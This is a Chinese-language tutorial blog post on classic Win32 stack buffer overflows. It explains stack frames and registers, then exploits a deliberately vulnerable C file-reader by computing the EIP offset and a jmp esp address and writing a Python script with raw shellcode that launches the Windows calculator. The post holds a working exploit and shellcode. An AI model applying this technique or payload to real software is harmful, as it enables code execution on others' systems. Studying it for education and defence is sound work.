棧溢出攻擊之彈出計算器

一.系統棧溢出原理

函數棧幀及寄存器

在高級語言中,當函數被調用時,系統棧會爲這個函數開闢一個新的棧幀,並把它壓入棧中。這個棧幀中的內存空間被它所屬的函數獨佔,正常情況下是不會和別的函數共享的。當函數返回時,系統棧會彈出該函數所對應的棧幀。

Win32系統提供兩個特殊的寄存器用於標識位於系統棧頂端的棧幀:
1. ESP:棧指針寄存器,其內存放着一個指針,該指針永遠指向系統棧最上面一個棧幀的棧頂;
2. EBP:基址指針寄存器,其內存放着一個指針,該指針永遠指向系統棧最上面一個棧幀的底部。

在函數棧幀中,一般包含以下幾類重要信息:
1. 局部變量:爲函數局部變量開闢的內存空間;
2. 棧幀狀態值:保存前棧幀的頂部和底部(實際上只保存前棧幀的底部,前棧幀的頂部可以通過堆棧平衡計算得到),用於在本幀被彈出後恢復出上一個棧幀;
3. 函數返回地址:保存當前函數調用前的“斷點”信息,也就是函數調用前的指令位置,以便在函數返回時能夠恢復到函數被調用前的代碼區中繼續執行指令。

除了與棧相關的寄存器外,還有另一個重要的棧:EIP,指令寄存器,其內存放着一個指針,該指針永遠指向下一條等待執行的指令地址,如果控制了EIP寄存器的內容,就控制了進程——我們讓EIP指向哪裏,CPU就會去執行哪裏的指令。

函數調用細節

函數調用大致包括以下幾個步驟:
1. 參數入棧:將參數從右向左依次壓入系統棧中;
2. 返回地址入棧:將當前代碼區調用指令的下一條指令地址壓入棧中,供函數返回時繼續執行;
3. 代碼區跳轉:處理器從當前代碼區跳轉到被調用函數的入口處;
4. 棧幀調整:具體包括
保存當前棧幀狀態值,以備後面恢復本棧幀時使用(EBP入棧);將當前棧幀切換到新棧幀(將ESP值裝入EBP,更新棧幀底部);給新棧幀分配空間(把ESP減去所需空間的大小,擡高棧頂)。

對於_stdcall調用約定,函數調用時用到的指令序列大致如下:

        ;調用前
push arg3   ;假設該函數有3個參數,將從右向左依次入棧
push arg2
push arg1
call func_address   ;call指令將同時完成兩項工作:向棧中壓入當前指令在內存中的位置,即保存返回地址;跳轉到所調用函數的入口地址函數入口處
push ebp        ;保存舊棧幀的底部
mov ebp, esp    ;設置新棧幀的底部(棧幀切換)
sub esp, xxx    ;設置新棧幀的頂部(擡高棧頂,爲新棧幀開闢空間)

類似地,函數返回的步驟如下:
1. 保存返回值:通常將函數的返回值保存在寄存器EAX中;
2. 彈出當前棧幀,恢復上一個棧幀。具體包括:
在堆棧平衡的基礎上,給ESP加上棧幀的大小,降低棧頂,回收當前棧幀的空間;將當前棧幀底部保存的前棧幀EBP值彈入EBP寄存器,恢復出上一個棧幀;將函數返回地址彈給EIP寄存器;
3. 跳轉:按照函數返回地址跳回母函數中繼續執行。

函數返回時相關指令序列如下:

add esp, xxx    ;降低棧頂,回收當前的棧幀
pop ebp         ;將上一個棧幀底部位置恢復到ebp
retn        ;彈出當前棧頂元素,即彈出棧幀中的返回地址,至此,棧幀恢復工作完成;讓處理器跳轉到彈出的返回地址,恢復調用前的代碼區

修改函數返回地址

通用的緩衝區溢出攻擊改寫的目標往往是棧幀最下方的EBP和函數返回地址等棧幀狀態值。

以下面一段C語言代碼爲例:

#include “stdio.h”
int main(argc,argv) {
   char name[8];    
   printf("Enter your name and press ENTER\n");
   scanf("%s", name);
   printf("Hi, %s!\n", name);
   return 0;
 }

其函數調用和棧溢出情況如下:
1

編寫shellcode讓程序通過棧溢出執行新的植入代碼,有兩種溢出覆蓋方式,一種是SHELLCODE + fillbytes + new_eip,另一種是fillbytes + new_eip + SHELLCODE,如下示意圖:
2

在第一種方式中,我們不用從返回地址到shellcode起始偏移地址的直接跳轉,而是採用在返回地址後添加一條相對跳轉指令Ralative JMP:JMP esp,跳轉到shellcode起始偏移處。而在kenel32.dll或ntdll.dll動態鏈接庫中JMP esp的指令機器代碼爲FF E4:

3

二.利用系統棧溢出漏洞彈出計算器

以下是一段有棧溢出漏洞的C語言代碼:

#include "stdio.h"
#include "stdlib.h"
#include "string.h"


int main() {

    char name[512];
    printf("Reading name from file...\n");
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f); 
    name[bytes] = '\0';
    fclose(f);
    printf("Hi, %s!\n", name);

    system("pause");
    return 0;
}

代碼的邏輯是從name.dat文件中以二進制格式讀入數據,並將數據存放在一個大小爲512的字符數組。

攻擊步驟如下:
1. 計算EIP的偏移;
2. 獲取jmp esp指令的地址;
3. 建立Relative JMP;
4. 利用shellcode,編寫POC。

第一步.計算EIP的偏移

  1. 在剛執行完CALL MAIN時,獲取存放EIP的ESP地址;
  2. 找到爲name變量分配地址指令,找到分配後ESP地址;
  3. 相減

調試工具可以使用Visual Studio的反彙編調試、OllyDbg+IDA或者WinDbg+IDA,我們在Win7操作系統環境下利用OllyDbg打開.exe文件,其中打開目錄包含相對應的.pdb調試文件。

在OllyDbg中,尋找main函數入口地址,並按F2下斷點:
4
此時存放EIP的ESP地址爲0x0045FAC8。

按F8執行到爲name變量分配地址指令SUB ESP,200,再查看ESP的地址變爲0x0045F8C4。兩地址相減:0x0045FAC8 - 0x0045F8C4 = 0x204。

第二步.獲取jmp esp指令的地址

使用OllyDbg獲取kernel32或ntdll中剛好能被翻譯爲jmp esp (ffe4) 或者 call esp (ffd4) 的指令的地址。

在OllyDbg中,按Alt+M或點擊工具欄的M圖標打開存儲映射窗口,在kernel32的PE header地址處右鍵點擊搜索jmp esp (ffe4)指令地址:
5
得到地址爲0x752E023B.

第三步.建立Relative JMP

在intel指令手冊中查找關於jmp語句的描述,得到JMP指令對應的機器碼爲E9 cw,即E9後跟隨一個32位偏移地址,JMP rel32,根據該語法構造我們的jmp rel指令。其中,rel與第一步計算出的偏移eip_offset的關係爲:rel = -1 * (eip_offset + 4 + 本jmp指令長度),4爲新的EIP指令長度,之所以還要加上本jmp指令長度是因爲該jmp指令執行時,EIP已經指向了JMP RELATIVE後的指令,即

        SHELLCODE
        FILL
        NEW_EIP
        JMP REL
ESP---->STH

由第一步算出的eip_offset爲0x204,故 -1*(0x204+4+5) = 0x FFFF FDF3
而windows指令中數據存放爲小端方式,因此Relative JMP指令格式爲:
E9 F3 FD FF FF

第四步.利用shellcode,編寫POC

第一步中,我們得到:EIP相對於buffer起始處偏移爲0x204 = 516
第二步中,我們得到: jmp esp 指令地址爲0x752E023B
第三步中,我們得到:relative jmp的指令爲E9 F3 FD FF FF.

我們攻擊串的構造模式爲:
name = shellcode + fillbytes + ret_eip + relative_jmp
需要計算填入多少字節的fillbytes,在此提供彈出計算器的shellcode長度爲323字節,第一步得到的eip_offset是shellcode+fillbytes的長度,因此:
len(fillbytes) = 516 - 323 = 193

利用Python編寫包含攻擊代碼的name.dat輸入文件:

with open('C:\\name.dat', 'wb') as f:
    ret_eip = '\x3b\x02\x2e\x75'
    # find ret_eip value
    shellcode = ("\xe8\x00\x00\x00\x00\x8b\x24\x24\xb1\x02\xd3\xec\xd3\xe4"+
    "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
    "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
    "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
    "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
    "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
    "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
    "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
    "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
    "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
    "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
    "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
    "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
    "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
    "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
    "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
    "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
    "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
    "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
    "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
    "\x30\x03\xc6\xeb\xdd")
    relative_jmp = "\xe9\xf3\xfd\xff\xff"
    # make the relative_jmp instruction
    fillbytes= 'a'* 193
    # calculate the len of fillbytes
    name = shellcode + fillbytes + ret_eip + relative_jmp
    f.write(name)
    f.close()

生成name.dat文件後,再次運行.exe文件:

6

按回車鍵之後,彈出計算器程序:

7

攻擊成功!

三.擴展:通過第二種棧溢出覆蓋方式彈出計算器

1

第二種攻擊方式爲fillbytes + new_eip + SHELLCODE,如上圖右邊系統棧覆蓋情況所示,填充字節爲之前計算出的EIP偏移字節數0x204 = 516,new_eip值不變,shellcode代碼不變。修改原先的Python的下列幾行,其他行不變,寫入攻擊代碼數據:

fillbytes = 'a' * 516  # the len of fillbytes is the same as the eip_offset
#name = shellcode + fillbytes + ret_eip + relative_jmp
name = fillbytes + ret_eip + shellcode

生成name.dat文件後,再次運行.exe文件:

8
可以看出,name數組的值已經全部變成了a的填充字節,且最後顯示的亂碼ASCII字符爲ret_eip偏移地址的值。按確認鍵後,彈出計算器程序:

7

第二次攻擊成功!

發佈了43 篇原創文章 · 獲贊 100 · 訪問量 17萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章